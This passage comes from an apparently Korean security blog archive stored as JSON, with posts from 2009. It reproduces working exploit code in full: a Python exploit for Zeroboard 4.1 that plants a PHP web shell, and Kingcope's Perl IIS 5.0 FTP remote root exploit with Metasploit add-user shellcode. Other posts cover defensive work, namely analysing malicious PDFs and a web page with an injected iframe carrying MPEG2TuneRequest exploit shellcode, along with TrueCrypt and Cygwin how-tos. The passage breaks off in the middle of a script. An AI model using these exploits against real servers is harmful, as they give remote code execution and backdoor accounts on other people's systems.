http://test.com/bbs/\u0026#39; sys.exit() input = sys.argv[1] o = urlparse(input) host = o.netloc path = o.path print \u0026#39;[+] HOST : \u0026#39; + host print \u0026#39;[+] PATH : \u0026#39; + path attack = \u0026#39;*/fputs(fopen(chr(46).chr(47).chr(115).chr(104).chr(101).chr(108).chr(108).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(32).chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr(40).chr(36).chr(99).chr(109).chr(100).chr(41).chr(59).chr(32).chr(63).chr(62));/*\u0026amp;HTTP_SESSION_VARS[zb_last_connect_check]=a\u0026amp;HTTP_SERVER_VARS=1\u0026amp;HTTP_ENV_VARS=1\u0026#39; conn = httplib.HTTPConnection(host) conn.request(\u0026#39;GET\u0026#39;, path + \u0026#39;/lib.php?REMOTE_ADDR=\u0026#39; + attack) r1 = conn.getresponse() print r1.status, r1.reason conn.request(\u0026#39;GET\u0026#39;, path + \u0026#39;/data/now_connect.php\u0026#39;) r1 = conn.getresponse() print r1.status, r1.reason conn.request(\u0026#39;GET\u0026#39;, path + \u0026#39;/data/shell.php?cmd=ls\u0026#39;) r1 = conn.getresponse() print r1.read() conn.close() if __name__ == \u0026#39;__main__\u0026#39;: print \u0026#39;[+] Start\u0026#39; main() print \u0026#39;[+] End\u0026#39; ","date":"2009-09-05T04:05:25Z","permalink":"/2009/09/05/zeroboard-41-pl7-now_connect-remote-code-execution-exploit/","title":"Zeroboard 4.1 pl7 now_connect() Remote Code Execution Exploit"},{"content":"새로운 Adobe Acrobat Reader 취약점!\n얼마전 0-Day가 나와 패치된지 얼마 되지 않았는데 새로운 취약점이 나왔습니다.\n게시자는 Firefox 3.0.13 and Internet Explorer 7에서 Test 해봤으며 영향을 줬다고 합니다.\n자세한 내용은 아래 사이트를 참고!\nhttp://www.milw0rm.com/exploits/9579\n","date":"2009-09-04T00:48:29Z","permalink":"/2009/09/04/adobe-acrobatreader-71181391-collab-geticon-universal-exploit/","title":"Adobe Acrobat/Reader \u003c 7.1.1/8.1.3/9.1 Collab getIcon Universal Exploit (CVE-2009-0927)"},{"content":"최근 아래 링크와 같은 기사가 나왔습니다.\nhttp://www.etnews.co.kr/news/detail.html?portal=001_00001\u0026id=200909010176\n기사에서 처럼 미국 입국 시 공항에서 노트북, PDA 등 저장매체에 대한 검사를 한다고 합니다.\n개인의 사생활 침해 뿐만 아니라 기업의 영업비밀 등 여러 자료가 노출될 수도 있는 부분인대요...\n개인의 데이터를 안전하게 보관할 수 있는 TrueCrypt 라는 프로그램을 소개하도록 하겠습니다.\n이 프로그램은 개인의 파일을 암호화 하여 저장시켜 주는 Open Source 프로그램 입니다.\n프로그램은 아래 사이트에서 다운로드 하실 수 있습니다.\nhttp://www.truecrypt.org/downloads\n그럼 설치를 하고 실행을 해보도록 하죠. 실행을 하면 아래와 같은 모습을 보실 수 있습니다.\n이제 우리의 중요한 파일을 어떻게 암호화 하여 저장할 수 있는 한번 차근차근 해보도록 하겠습니다.\n먼저 [Create Volume] 버튼을 누릅니다. 여러 메뉴가 있지만 첫번째 메뉴인 [Create an encrypt...]를 선택합니다.\n다음 기본 볼륨 혹은 숨김 볼륨으로 선택할 수 있는데 일단 기본으로 하도록 하겠습니다.\n이제 가상의 볼륨 파일을 만들 경로를 지정합니다. 경로는 어디에 위치하여도 상관없으며 이후에 해당 경로에 위치한 파일만 백업해 두신다면 언제든지 사용하실 수 있습니다.\n암호화 프로그램 답게 다양한 암호 알고리즘을 제공하는것을 보실 수 있습니다. 어떤 알고리즘을 쓰든 상관은 없지만 벤치마크 버튼을 눌러 퍼포먼스와 보안을 적절히 참고하여 선택하는것이 좋을것으로 보입니다.\n이제 볼륨의 크키를 지정합니다. 크기는 원하시는 대로 지정하면 되겠습니다.\n다음으로 암호를 입력하는데 암호 뿐만 아니라 Key File도 등록할 수 있습니다. 여기서는 그냥 암호만 설정하고 넘어가도록 하겠습니다.\n이제 포멧을 누르게 되면 파일이 생성이 됩니다.\n이제 생성된 파일을 열어 암호를 입력하면 mount가 되는걸 확인하실 수 있으며 가상의 암호화시스템이 생긴것을 확인할 수 있습니다. 여기에 우리는 데이터를 저장해놓고 쓸때만 mount를 하여 쓰고 다쓴후엔 Dismount 하면 되는 것입니다.\n","date":"2009-09-02T03:07:44Z","permalink":"/2009/09/02/truecrypt-%EB%82%B4-%EB%8D%B0%EC%9D%B4%ED%84%B0%EB%A5%BC-%EB%B3%B4%ED%98%B8%ED%95%98%EC%9E%90/","title":"TrueCrypt - 내 데이터를 보호하자!"},{"content":"8월 31일자로 milw0rm 사이트에 제로데이가 올라왔습니다. 윈도우 FTP 서버 취약점인데 Remote라 심각성이 클것으로 보이네요.\nhttp://www.offensive-security.com/videos/microsoft-ftp-server-remote-exploit/msftp.html\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 # IIS 5.0 FTPd / Remote r00t exploit # Win2k SP4 targets # bug found \u0026amp; exploited by Kingcope, kcope2\u0026lt;at\u0026gt;googlemail.com # Affects IIS6 with stack cookie protection # August 2009 - KEEP THIS 0DAY PRIV8 use IO::Socket; $|=1; #metasploit shellcode, adduser \u0026#34;winown:nwoniw\u0026#34; $sc = \u0026#34;\\x89\\xe2\\xda\\xde\\xd9\\x72\\xf4\\x5b\\x53\\x59\\x49\\x49\\x49\\x49\u0026#34; . \u0026#34;\\x49\\x49\\x49\\x49\\x49\\x49\\x43\\x43\\x43\\x43\\x43\\x43\\x37\\x51\u0026#34; . \u0026#34;\\x5a\\x6a\\x41\\x58\\x50\\x30\\x41\\x30\\x41\\x6b\\x41\\x41\\x51\\x32\u0026#34; . \u0026#34;\\x41\\x42\\x32\\x42\\x42\\x30\\x42\\x42\\x41\\x42\\x58\\x50\\x38\\x41\u0026#34; . \u0026#34;\\x42\\x75\\x4a\\x49\\x4b\\x4c\\x4a\\x48\\x50\\x44\\x43\\x30\\x43\\x30\u0026#34; . \u0026#34;\\x43\\x30\\x4c\\x4b\\x47\\x35\\x47\\x4c\\x4c\\x4b\\x43\\x4c\\x45\\x55\u0026#34; . \u0026#34;\\x42\\x58\\x45\\x51\\x4a\\x4f\\x4c\\x4b\\x50\\x4f\\x45\\x48\\x4c\\x4b\u0026#34; . \u0026#34;\\x51\\x4f\\x51\\x30\\x43\\x31\\x4a\\x4b\\x47\\x39\\x4c\\x4b\\x47\\x44\u0026#34; . \u0026#34;\\x4c\\x4b\\x43\\x31\\x4a\\x4e\\x50\\x31\\x49\\x50\\x4c\\x59\\x4e\\x4c\u0026#34; . \u0026#34;\\x4c\\x44\\x49\\x50\\x44\\x34\\x43\\x37\\x49\\x51\\x49\\x5a\\x44\\x4d\u0026#34; . \u0026#34;\\x43\\x31\\x49\\x52\\x4a\\x4b\\x4c\\x34\\x47\\x4b\\x51\\x44\\x46\\x44\u0026#34; . \u0026#34;\\x43\\x34\\x43\\x45\\x4a\\x45\\x4c\\x4b\\x51\\x4f\\x51\\x34\\x43\\x31\u0026#34; . \u0026#34;\\x4a\\x4b\\x43\\x56\\x4c\\x4b\\x44\\x4c\\x50\\x4b\\x4c\\x4b\\x51\\x4f\u0026#34; . \u0026#34;\\x45\\x4c\\x45\\x51\\x4a\\x4b\\x4c\\x4b\\x45\\x4c\\x4c\\x4b\\x45\\x51\u0026#34; . \u0026#34;\\x4a\\x4b\\x4b\\x39\\x51\\x4c\\x46\\x44\\x44\\x44\\x48\\x43\\x51\\x4f\u0026#34; . \u0026#34;\\x46\\x51\\x4c\\x36\\x43\\x50\\x50\\x56\\x45\\x34\\x4c\\x4b\\x50\\x46\u0026#34; . \u0026#34;\\x50\\x30\\x4c\\x4b\\x47\\x30\\x44\\x4c\\x4c\\x4b\\x42\\x50\\x45\\x4c\u0026#34; . \u0026#34;\\x4e\\x4d\\x4c\\x4b\\x42\\x48\\x45\\x58\\x4d\\x59\\x4a\\x58\\x4c\\x43\u0026#34; . \u0026#34;\\x49\\x50\\x43\\x5a\\x46\\x30\\x43\\x58\\x4c\\x30\\x4c\\x4a\\x44\\x44\u0026#34; . \u0026#34;\\x51\\x4f\\x43\\x58\\x4a\\x38\\x4b\\x4e\\x4d\\x5a\\x44\\x4e\\x50\\x57\u0026#34; . \u0026#34;\\x4b\\x4f\\x4a\\x47\\x42\\x43\\x42\\x4d\\x45\\x34\\x46\\x4e\\x42\\x45\u0026#34; . \u0026#34;\\x44\\x38\\x43\\x55\\x47\\x50\\x46\\x4f\\x45\\x33\\x47\\x50\\x42\\x4e\u0026#34; . \u0026#34;\\x42\\x45\\x43\\x44\\x51\\x30\\x44\\x35\\x44\\x33\\x45\\x35\\x44\\x32\u0026#34; . \u0026#34;\\x51\\x30\\x43\\x47\\x43\\x59\\x42\\x4e\\x42\\x4f\\x43\\x47\\x42\\x4e\u0026#34; . \u0026#34;\\x51\\x30\\x42\\x4e\\x44\\x37\\x42\\x4f\\x42\\x4e\\x45\\x39\\x43\\x47\u0026#34; . \u0026#34;\\x47\\x50\\x46\\x4f\\x51\\x51\\x50\\x44\\x47\\x34\\x51\\x30\\x46\\x46\u0026#34; . \u0026#34;\\x51\\x36\\x51\\x30\\x42\\x4e\\x42\\x45\\x44\\x34\\x51\\x30\\x42\\x4c\u0026#34; . \u0026#34;\\x42\\x4f\\x43\\x53\\x45\\x31\\x42\\x4c\\x42\\x47\\x43\\x42\\x42\\x4f\u0026#34; . \u0026#34;\\x43\\x45\\x42\\x50\\x47\\x50\\x47\\x31\\x42\\x44\\x42\\x4d\\x45\\x39\u0026#34; . \u0026#34;\\x42\\x4e\\x42\\x49\\x42\\x53\\x43\\x44\\x43\\x42\\x45\\x31\\x44\\x34\u0026#34; . \u0026#34;\\x42\\x4f\\x43\\x42\\x43\\x43\\x47\\x50\\x42\\x57\\x45\\x39\\x42\\x4e\u0026#34; . \u0026#34;\\x42\\x4f\\x42\\x57\\x42\\x4e\\x47\\x50\\x46\\x4f\\x47\\x31\\x51\\x54\u0026#34; . \u0026#34;\\x51\\x54\\x43\\x30\\x41\\x41\u0026#34;; #1ca print \u0026#34;IIS 5.0 FTPd / Remote r00t exploit by kcope V1.2\\n\u0026#34;; if ($#ARGV ne 1) { print \u0026#34;usage: iiz5.pl \u0026lt;target\u0026gt; \u0026lt;your local ip\u0026gt;\\n\u0026#34;; exit(0); } srand(time()); $port = int(rand(31337-1022)) + 1025; $locip = $ARGV[1]; $locip =~ s/\\./,/gi; if (fork()) { $sock = IO::Socket::INET-\u0026gt;new(PeerAddr =\u0026gt; $ARGV[0], PeerPort =\u0026gt; \u0026#39;21\u0026#39;, Proto =\u0026gt; \u0026#39;tcp\u0026#39;); $patch = \u0026#34;\\x7E\\xF1\\xFA\\x7F\u0026#34;; #$retaddr = \u0026#34;ZZZZ\u0026#34;; $retaddr = \u0026#34;\\x9B\\xB1\\xF4\\x77\u0026#34;; # JMP ESP univ on 2 win2k platforms $v = \u0026#34;KSEXY\u0026#34; . $sc . \u0026#34;V\u0026#34; x (500-length($sc)-5); # top address of stack frame where shellcode resides, is hardcoded inside this block $findsc=\u0026#34;\\xB8\\x55\\x55\\x52\\x55\\x35\\x55\\x55\\x55\\x55\\x40\\x81\\x38\\x53\u0026#34; .\u0026#34;\\x45\\x58\\x59\\x75\\xF7\\x40\\x40\\x40\\x40\\xFF\\xFF\\xE0\u0026#34;; # attack buffer $c = $findsc . \u0026#34;C\u0026#34; . ($patch x (76/4)) . $patch.$patch. ($patch x (52/4)) .$patch.\u0026#34;EEEE$retaddr\u0026#34;.$patch. \u0026#34;HHHHIIII\u0026#34;. $patch.\u0026#34;JKKK\u0026#34;.\u0026#34;\\xE9\\x63\\xFE\\xFF\\xFF\\xFF\\xFF\u0026#34;.\u0026#34;NNNN\u0026#34;; $x = \u0026lt;$sock\u0026gt;; print $x; print $sock \u0026#34;USER anonymous\\r\\n\u0026#34;; $x = \u0026lt;$sock\u0026gt;; print $x; print $sock \u0026#34;PASS anonymous\\r\\n\u0026#34;; $x = \u0026lt;$sock\u0026gt;; print $x; print $sock \u0026#34;MKD w00t$port\\r\\n\u0026#34;; $x = \u0026lt;$sock\u0026gt;; print $x; print $sock \u0026#34;SITE $v\\r\\n\u0026#34;; # We store shellcode in memory of process (stack) $x = \u0026lt;$sock\u0026gt;; print $x; print $sock \u0026#34;SITE $v\\r\\n\u0026#34;; $x = \u0026lt;$sock\u0026gt;; print $x; print $sock \u0026#34;SITE $v\\r\\n\u0026#34;; $x = \u0026lt;$sock\u0026gt;; print $x; print $sock \u0026#34;SITE $v\\r\\n\u0026#34;; $x = \u0026lt;$sock\u0026gt;; print $x; print $sock \u0026#34;SITE $v\\r\\n\u0026#34;; $x = \u0026lt;$sock\u0026gt;; print $x; print $sock \u0026#34;CWD w00t$port\\r\\n\u0026#34;; $x = \u0026lt;$sock\u0026gt;; print $x; print $sock \u0026#34;MKD CCC\u0026#34;. \u0026#34;$c\\r\\n\u0026#34;; $x = \u0026lt;$sock\u0026gt;; print $x; print $sock \u0026#34;PORT $locip,\u0026#34; . int($port / 256) . \u0026#34;,\u0026#34; . int($port % 256) . \u0026#34;\\r\\n\u0026#34;; $x = \u0026lt;$sock\u0026gt;; print $x; # TRIGGER print $sock \u0026#34;NLST $c*/../C*/\\r\\n\u0026#34;; $x = \u0026lt;$sock\u0026gt;; print $x; while (1) {} } else { my $servsock = IO::Socket::INET-\u0026gt;new(LocalAddr =\u0026gt; \u0026#34;0.0.0.0\u0026#34;, LocalPort =\u0026gt; $port, Proto =\u0026gt; \u0026#39;tcp\u0026#39;, Listen =\u0026gt; 1); die \u0026#34;Could not create socket: $!\\n\u0026#34; unless $servsock; my $new_sock = $servsock-\u0026gt;accept(); while(\u0026lt;$new_sock\u0026gt;) { print $_; } close($servsock); } #Cheerio, # #Kingcope # milw0rm.com [2009-08-31] ","date":"2009-09-01T06:12:39Z","permalink":"/2009/09/01/microsoft-iis-5060-ftp-server-remote-stack-overflow-exploit-win2k/","title":"Microsoft IIS 5.0/6.0 FTP Server Remote Stack Overflow Exploit (win2k)"},{"content":"Python으로 스크립트 작성 시 유용하게 쓰일만한 모듈을 정리하도록 하겠습니다. (계속 업데이트!)\nM2Crypto - M2Crypto = Python + OpenSSL + SWIG, http://chandlerproject.org/bin/view/Projects/MeTooCrypto\nPIL - Python Imaging Library, http://www.pythonware.com/products/pil/\n","date":"2009-08-19T04:14:56Z","permalink":"/2009/08/19/python%EC%9D%98-%EC%9C%A0%EC%9A%A9%ED%95%9C-%EB%AA%A8%EB%93%88-%EB%AA%A8%EC%9D%8C/","title":"Python의 유용한 모듈 모음."},{"content":"제 목 : PDF 파일 분석하기 작성자 : ByJJoon 작성일 : 2009. 8. 18\n최근 PDF 관련 취약점이 많이 나오며 PDF 파일에 악의적인 스크립트가 삽입되는 사례가 많이 발견되고 있습니다. PDF 파일에 악의적인 스크립트가 삽입되었는지 여부를 확인하기 위해 이 문서를 작성합니다.\n사용되는 툴\npdf-parser (http://blog.didierstevens.com/programs/pdf-tools) PDFiD (http://blog.didierstevens.com/programs/pdf-tools) Malzilla (http://malzilla.sourceforge.net/downloads.html) 이번 문서에서는 위의 툴들을 사용할 것입니다. 위의 툴들 중 pdf-parser와 PDFiD는 Python으로 작성된 툴이므로 Python이 설치되어 있어야 합니다. 먼저 Python을 설치하도록 하겠습니다.\nPython 다운로드 : http://python.org/download/\n자신의 플랫폼에 맞는 Python을 다운로드 하여 설치를 하셨다면 이제 분석을 하도록 하겠습니다. 먼저 악성 PDF 파일을 한번 살펴보도록 하겠습니다.\nPDFiD를 통해 PDF 문서를 확인해본 결과 해당 문서내에 Javascript가 3개 포함되어 있다는 결과를 확인할 수 있었습니다. 이제 pdf-parser를 이용하여 해당 코드를 문서내에서 찾아보도록 하겠습니다. 명령어는 아래와 같습니다.\n1 pdf-parser.py --search javascript 파일명 실행을 하면 위와 같은 결과를 확인할 수 있으며 obj(Object)가 3개 있음을 확인할 수 있습니다. 이전에 PDFiD를 통해 확인한 결과도 3개 였기 때문에 이 3군데 중 악성 스크립트가 있을 것입니다. 다시 출력결과를 한번 살펴보도록 하겠습니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 C:\\Documents and Settings\\ByJJoon\\바탕 화면\\PDF 분석\u0026gt;pdf-parser.py --search javascript malware.pdf obj 1 0 Type: /Catalog Referencing: 2 0 R, 3 0 R, 4 0 R, 5 0 R, 6 0 R, 7 0 R [(1, \u0026#39;\\n\u0026#39;), (2, \u0026#39;\u0026lt;\u0026lt;\u0026#39;), (2, \u0026#39;/OpenAction\u0026#39;), (1, \u0026#39; \u0026#39;), (2, \u0026#39;\u0026lt;\u0026lt;\u0026#39;), (2, \u0026#39;/JS\u0026#39;), (1, \u0026#39; \u0026#39;), (2, \u0026#39;(\u0026#39;), (3, \u0026#39;this.Kll1k1kj\\\\\u0026#39;), [생략] \u0026lt;\u0026lt; /OpenAction /JS (this.Kll1k1kj\\(\\)) /S /JavaScript \u0026gt;\u0026gt; obj 7 0 Type: Referencing: 10 0 R [(1, \u0026#39;\\n\u0026#39;), (2, \u0026#39;\u0026lt;\u0026lt;\u0026#39;), (2, \u0026#39;/JavaScript\u0026#39;), (1, \u0026#39; \u0026#39;), (3, \u0026#39;10\u0026#39;), (1, \u0026#39; \u0026#39;), (3, \u0026#39;0\u0026#39;), (1, \u0026#39; \u0026#39;), (3, \u0026#39;R\u0026#39;), (1, \u0026#39;\\n\u0026#39;), (2, \u0026#39;\u0026gt;\u0026gt;\u0026#39;), (1, \u0026#39;\\n\u0026#39;)] \u0026lt;\u0026lt; /JavaScript 10 0 R \u0026gt;\u0026gt; obj 12 0 Type: Referencing: 13 0 R [(1, \u0026#39;\\n\u0026#39;), (2, \u0026#39;\u0026lt;\u0026lt;\u0026#39;), (2, \u0026#39;/JS\u0026#39;), (1, \u0026#39; \u0026#39;), (3, \u0026#39;13\u0026#39;), (1, \u0026#39; \u0026#39;), (3, \u0026#39;0\u0026#39;), (1, \u0026#39; \u0026#39;), (3, \u0026#39;R\u0026#39;), (1, \u0026#39;\\n\u0026#39;), (2, \u0026#39;/S\u0026#39;), (1, \u0026#39; \u0026#39;), (2, \u0026#39;/JavaScript\u0026#39;), ( 1, \u0026#39;\\n\u0026#39;), (2, \u0026#39;\u0026gt;\u0026gt;\u0026#39;), (1, \u0026#39;\\n\u0026#39;)] \u0026lt;\u0026lt; /JS 13 0 R /S /JavaScript \u0026gt;\u0026gt; 위는 출력 결과 내용 중 굵은 글씨로 된 부분이 Object 위치 및 참조가 표시되는 부분입니다. 이제 Javascript가 포함되었다는 3개의 부분을 상세히 살펴 보도록 하겠습니다.\n1 pdf-parser.py --object 번호 파일명 3개의 부분이 나왔으니 3개의 부분 모두 참조되는 번호를 확인하여 가다 보면 13번을 확인하였을 시 아래와 같은 내용이 나타납니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 C:\\Documents and Settings\\ByJJoon\\바탕 화면\\PDF 분석\u0026gt;pdf-parser.py --object 13 malware.pdf obj 13 0 Type: Referencing: Contains stream [(1, \u0026#39;\\n\u0026#39;), (2, \u0026#39;\u0026lt;\u0026lt;\u0026#39;), (2, \u0026#39;/Filter\u0026#39;), (1, \u0026#39; \u0026#39;), (2, \u0026#39;/FlateDecode\u0026#39;), (1, \u0026#39;\\n\u0026#39;), (2, \u0026#39;/Length\u0026#39;), (1, \u0026#39; \u0026#39;), \u0026#39;)] \u0026lt;\u0026lt; /Filter /FlateDecode /Length 4315 \u0026gt;\u0026gt; FlasteDecode 부분이 나타난다면 해당 부분에 악의적인 코드가 있을 가능성이 높습니다. 해당 부분을 자세히 살펴 보도록 하겠습니다. Pdf-paser에는 이 FlateDecode를 해독해 주는 옵션이 있습니다. 해당 옵션을 이용하여 한번 확인해 보도록 하겠습니다.\n1 pdf-parser.py --object 번호 --raw --filter 파일명 --filter 옵션을 이용하여 raw값으로 뽑게 되면 아래 화면처럼 숨겨진 코드가 나타나게 됩니다.\n코드 내용을 바로 파일로 저장하기 위해 아래 명령어를 사용합니다.\n1 pdf-parser.py --object 번호 --raw --filter 파일명 \u0026gt; output.txt output.txt로 저장한 다음 아래 굵게 표시된 내용처럼 수정을 하여 파일형식을 웹페이지 파일(html)로 저장하여 열어보면 메시지 박스가 나타나며 코드를 확인할 수 있습니다.\n1 2 3 4 5 6 7 8 9 10 11 12 \u0026lt;html\u0026gt; \u0026lt;script\u0026gt; var labal=alert;var vbc=\u0026#34; CCCHCCC var CCCPCCC ay CCCLCCC CCCACCC a CCCDCCC = CCCNCCC CCCECCC CCCMCCC CCCXCCC CCCGCCC a CCCPCCC CCCMCCC ( CCCYCCC % CCCNCCC CCCZCCC A CCCZCCC A% CCCNCCC CCCZCCC A CCCZCCC A% CCCNCCC CCCZCCC . [중략] . vbc = vbc.replace(/ CCCACCC /g,\u0026#39;o\u0026#39;); vbc = vbc.replace(/ CCCPCCC /g,\u0026#39;p\u0026#39;); vbc = vbc.replace(/ CCCICCC /g,\u0026#39;1\u0026#39;); labal(vbc); \u0026lt;/script\u0026gt; \u0026lt;/html\u0026gt; 코드 확인은 이전에 작성한 Malzilla 문서를 통해 최종 악성코드 다운로드 URL을 확인하실 수 있습니다.\n","date":"2009-08-18T08:34:23Z","permalink":"/2009/08/18/pdf-%ED%8C%8C%EC%9D%BC-%EB%B6%84%EC%84%9D%ED%95%98%EA%B8%B0/","title":"PDF 파일 분석하기"},{"content":"Cygwin에서 폴더 및 파일명이 한글이 표시가 안될 때 .bashrc 파일에 아래 내용을 추가.\n1 alias ls=\u0026#39;ls --color=tty --show-control-chars\u0026#39; Cygwin에서 한글 입력이 안될때 .inputrc 파일에 아래 내용을 추가.\n1 2 3 4 set meta-flag On set convert-meta Off set output-meta On set completion-ignore-case On 그리고 Vim 편집기 설정! .vimrc 파일을 아래와 같이 수정하자.\n1 2 3 4 5 6 7 8 9 10 set autoindent set backspace=2 syntax on set number set expandtab set tabstop=4 set softtabstop=4 set shiftwidth=4 set background=dark set visualbell 완소 Cygwin =)\n","date":"2009-08-18T02:40:51Z","permalink":"/2009/08/18/cygwin-%EC%84%A4%EC%A0%95/","title":"Cygwin 설정"},{"content":"제 목 : Malzilla를 이용한 악성 스크립트 분석 작성자 : ByJJoon 작성일 : 2009. 8. 1\n서론 최근 국내 웹페이지들이 주말을 기점으로 대대적으로 악성코드가 삽입되는 사례가 많이 발견되고 있습니다. 이러한 악성코드가 삽입된 웹페이지 분석 시 좀 더 빠르고 심도있게 분석하여 최종 다운로드 URL을 빨리 파악하여 악성코드를 다운로드 받아 빠르게 대응하고자 해당 문서를 작성 합니다. 들어가기에 앞서… 이번 문서에서 사용하게 될 프로그램은 Malzilla라는 프로그램 입니다. 다양한 기능이 내장된 프로그램으로 악성코드를 분석하는데 특화된 프로그램이라 할 수 있겠습니다. 다운로드 : http://malzilla.sourceforge.net/downloads.html\n이 프로그램은 특정 URL을 입력 후 웹페이지에 접속하지 않고도 해당 페이지의 소스를 확인할 수 있을뿐만 아니라 해당 소스내에 삽입된 링크 및 Iframe을 자동으로 파싱하여 보여주기도 합니다. 그 외 기타 다양한 디코더들도 내장되어 있으며 악성스크립트 분석에 효과적인 툴입니다.\n분석을 시작하자! 이번 문서에서 분석할 URL은 현재는 해당 웹페이지에 악성코드가 제거되었지만 몇시간전까지만 해도 악성코드가 삽입되었던 웹페이지의 사례를 바탕으로 분석해 보도록 하겠습니다. 몇시간 전 hxxp://www.kbsn.co.kr/Lib/Script/common.js 주소에 아래와 같은 Iframe이 삽입되어 있었습니다.\n1 \u0026lt;IFrame Height=0 Width=0 Src=hxxp://drim2u.co.kr/index.htm\u0026gt; 위 Iframe에 의해 연결되는 주소는 다시 hxxp://drim2u.co.kr/uuvc.jpg로 연결되어 있었습니다. 이러한 과정을 알아보기 위해서는 다양한 방법이 있지만 대부분 해당 웹페이지 파일을 wget으로 다운로드 하여 메모장으로 열어 Iframe을 찾는 방법을 사용할 것으로 생각됩니다.\n하지만 Malzilla를 사용하면 간단하게 아래 그림처럼 URL 박스에 주소를 입력 후 GET 버튼만 누르게 되면 상단에 웹페이지 소스가 출력 됩니다. 그리고 상단에 Links Parser 탭으로 이동하면 아래 그림과 같이 해당 웹페이지 소스에 있는 링크 및 Iframe 정보를 따로 확인할 수 있는 기능도 있습니다. 이제 해당 페이지를 한번 분석해 보도록 하겠습니다. 먼저 hxxp://drim2u.co.kr/uuvc.jpg 내용을 살펴보니 확장자는 이미지 파일이였지만 놀랍게도 해당 내용은 웹페이지 소스 파일이였습니다. 해당 파일에서 go1~4.jpg 파일 역시 웹페이지 소스 파일로 예상이 되어 파일들을 하나하나 분석하여 보도록 하겠습니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 \u0026lt;html\u0026gt; \u0026lt;script\u0026gt; nav=navigator.userAgent.toLowerCase(); var ytcccc=\u0026#39;windows nt 5.1\u0026#39;; wxp=((nav.indexOf(ytcccc)!=-1)||(nav.indexOf(\u0026#39;windows xp\u0026#39;)!=-1)); if(!wxp||navigator.userAgent.toLowerCase().indexOf(\u0026#34;\\x6D\u0026#34;+\u0026#34;\\x73\u0026#34;+\u0026#34;\\x69\\x65 \\x36\u0026#34;)==-1) location.replace(\u0026#34;about:blank\u0026#34;); \u0026lt;/script\u0026gt; \u0026lt;script language=\u0026#34;JavaScript\u0026#34;\u0026gt; document.writeln(\u0026#34;\u0026lt;html\u0026gt; \u0026#34;); document.writeln(\u0026#34;\u0026lt;body\u0026gt; \u0026#34;); document.writeln(\u0026#34;\u0026lt;div id=\\\u0026#34;DivID\\\u0026#34;\u0026gt; \u0026#34;); document.writeln(\u0026#34;\u0026lt;script src=\\\u0026#39;go1.jpg\\\u0026#39;\u0026gt;\u0026lt;\\/script\u0026gt; \u0026#34;); document.writeln(\u0026#34;\u0026lt;script src=\\\u0026#39;go.jpg\\\u0026#39;\u0026gt;\u0026lt;\\/script\u0026gt; \u0026#34;); document.writeln(\u0026#34;\u0026lt;script src=\\\u0026#39;go2.jpg\\\u0026#39;\u0026gt;\u0026lt;\\/script\u0026gt; \u0026#34;); document.writeln(\u0026#34;\u0026lt;script src=\\\u0026#39;go4.jpg\\\u0026#39;\u0026gt;\u0026lt;\\/script\u0026gt; \u0026#34;); document.writeln(\u0026#34;\u0026lt;script src=\\\u0026#39;go3.jpg\\\u0026#39;\u0026gt;\u0026lt;\\/script\u0026gt; \u0026#34;); document.writeln(\u0026#34;\u0026lt;\\/body\u0026gt; \u0026#34;); document.writeln(\u0026#34;\u0026lt;\\/html\u0026gt;\u0026#34;); \u0026lt;/script\u0026gt; \u0026lt;/html\u0026gt; 먼저 go3.jpg 파일을 열어보면 아래와 같습니다. Classid가 눈에 들어오므로 해당 클래스아이디 값으로 구글링을 하여 보도록 하겠습니다.\n1 2 var XXK=\u0026#39;CF\u0026#39;; myObject.classid=\u0026#39;clsid:0955AC62-BF2E-4CBA-A2B9-A63F772D46\u0026#39;+XXK; 해당 CLSID값은 마이크로소프트 MPEG2TuneRequest 제로데이 취약점 관련 CLSID 였습니다. 즉 해당 취약점을 이용하는 악성코드 입니다. 그럼 다시 어떤 역활을 하는지 알아보기 위해 go1.jpg 파일을 확인해 보겠습니다.\n1 2 3 4 5 6 7 8 9 10 11 var XXXxxyt=\u0026#39;0\u0026#39;; var xxyytt=\u0026#39;%\u0026#39;; var xxttyy=\u0026#39;u\u0026#39;; var ttyyxx=xxyytt+xxttyy; var ytaau=\u0026#39;9\u0026#39;; var UUse=ttyyxx+ytaau+\u0026#39;0\u0026#39;+\u0026#39;9\u0026#39;+\u0026#39;0\u0026#39;+ttyyxx+\u0026#39;9\u0026#39;+\u0026#39;0\u0026#39;+\u0026#39;9\u0026#39;+XXXxxyt; var YTavp=\u0026#39;%u\u0026#39;+\u0026#39;BDBD\u0026#39;+\u0026#39;%u\u0026#39;+\u0026#39;BDBD\u0026#39;+\u0026#39;%u\u0026#39;+\u0026#39;BDBD\u0026#39;+\u0026#39;%u\u0026#39;+\u0026#39;BDBD\u0026#39;+\u0026#39;%u\u0026#39;+\u0026#39;BDBD\u0026#39;+\u0026#39;%u\u0026#39;+\u0026#39;BDBD\u0026#39;+\u0026#39;%u\u0026#39;+\u0026#39;BDBD\u0026#39;+\u0026#39;%u\u0026#39;+\u0026#39;BDBD\u0026#39;+\u0026#39;%u\u0026#39;+\u0026#39;EAEA\u0026#39;; var YTavp1=\u0026#39;%u5858%u5858%u10EB%u4B5B%uC933%uB966%u03B8%u3480%uBD0B%uFAE2%u05EB%uEBE8%uFFFF\u0026#39;; var 